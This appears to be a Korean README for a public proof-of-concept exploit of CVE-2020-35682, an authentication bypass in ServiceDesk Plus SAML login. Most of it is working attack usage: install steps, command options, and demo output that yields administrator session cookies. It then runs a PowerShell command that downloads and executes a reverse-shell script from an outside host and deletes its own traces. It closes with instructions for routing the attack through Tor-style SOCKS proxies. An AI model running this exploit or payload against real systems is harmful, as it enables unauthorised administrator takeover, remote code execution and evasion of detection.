
SD-91948: CVE-2020-35682: ServiceDesk Plus의 SAML 로그인 중 인증 우회 취약점.
SD-91948: CVE-2020-35682: ServiceDesk Plus의 SAML 로그인 중 발생하는 인증 우회 취약점입니다. (ManageEngine에 설명된 대로). 대상 ServiceDesk Plus(<11134) 설치본에서 SAML 로그인이 활성화되어 있고 낮은 권한 사용자의 자격 증명을 보유하고 있다면 관리자로 권한을 상승시켜 RCE를 획득할 수 있습니다.
이 취약점을 악용하는 데 대한 공개 익스플로잇이나 자세한 설명이 없어 이 POC를 공개하기로 결정했습니다. 코드는 다소 지저분하지만 동작합니다.
git clone https://github.com/its-arun/CVE-2020-35682.git
cd CVE-2020-35682
pip3 install -r requirements.txt
chmod +x exploit.py
┌─[✗]─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -h
usage: exploit.py [-h] -u URL -e EMAIL -p PASSWORD -d DOMAIN [-x PAYLOAD] [-a ADMINUSERNAME]
CVE-2020-35682 : Authentication Bypass Vulnerability during SAML login in ServiceDesk Plus
optional arguments:
-h, --help show this help message and exit
-x PAYLOAD, --payload PAYLOAD
Payload to execute on target, eg: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1
-usebasicparsing)"
-a ADMINUSERNAME, --adminusername ADMINUSERNAME
Admin Username, default: administrator
required named arguments:
-u URL, --url URL ServiceDesk Plus installation url, eg. https://tenet.local/sdp
-e EMAIL, --email EMAIL
User E-mail for SAML Login, eg: [email protected]
-p PASSWORD, --password PASSWORD
User Password for SAML Login
-d DOMAIN, --domain DOMAIN
Domain, eg: TENET
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET"
[+] Created session as administrator.
[+] Use following cookies to login as administrator
=[COOKIE NAME]= =[COOKIE VALUE]=
JSESSIONIDSSO E1D80C738E12085360A789109D43A233
PORTALID 1
SDPSESSIONID 918B7C63186055F72EAD2DEAC34B4CA9
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET" -x "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"
[+] Created session as administrator.
[+] Use following cookies to login as administrator
=[COOKIE NAME]= =[COOKIE VALUE]=
JSESSIONIDSSO 2316433DF39DFFE8ACD4E1DDD759D259
PORTALID 1
SDPSESSIONID 666788540DB6329CB7E59E1E96FF30EB
[+] Created custom trigger ADQRYN11WA6KEXIQ
[+] Created Request to trigger custom action ADQRYN11WA6KEXIQ
[+] Executed "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)" on "https://tenet.local/sdp"
[+] Deleted Request ADQRYN11WA6KEXIQ
[+] Deleted Custom Action ADQRYN11WA6KEXIQ
프록시는 exploit.py의 9번째 줄에 다음 형식으로 정의할 수 있습니다.
proxies = {'http': 'socks4://127.0.0.1:9050','https': 'socks4://127.0.0.1:9050'}
또는 소스를 수정하고 싶지 않다면 프록시를 환경 변수로 설정할 수 있습니다.
export HTTP_PROXY="socks4://127.0.0.1:9050"
export HTTPS_PROXY="socks4://127.0.0.1:9050"
익스플로잇 실행 후에는 반드시 이 변수들을 해제하세요.
unset HTTP_PROXY HTTPS_PROXY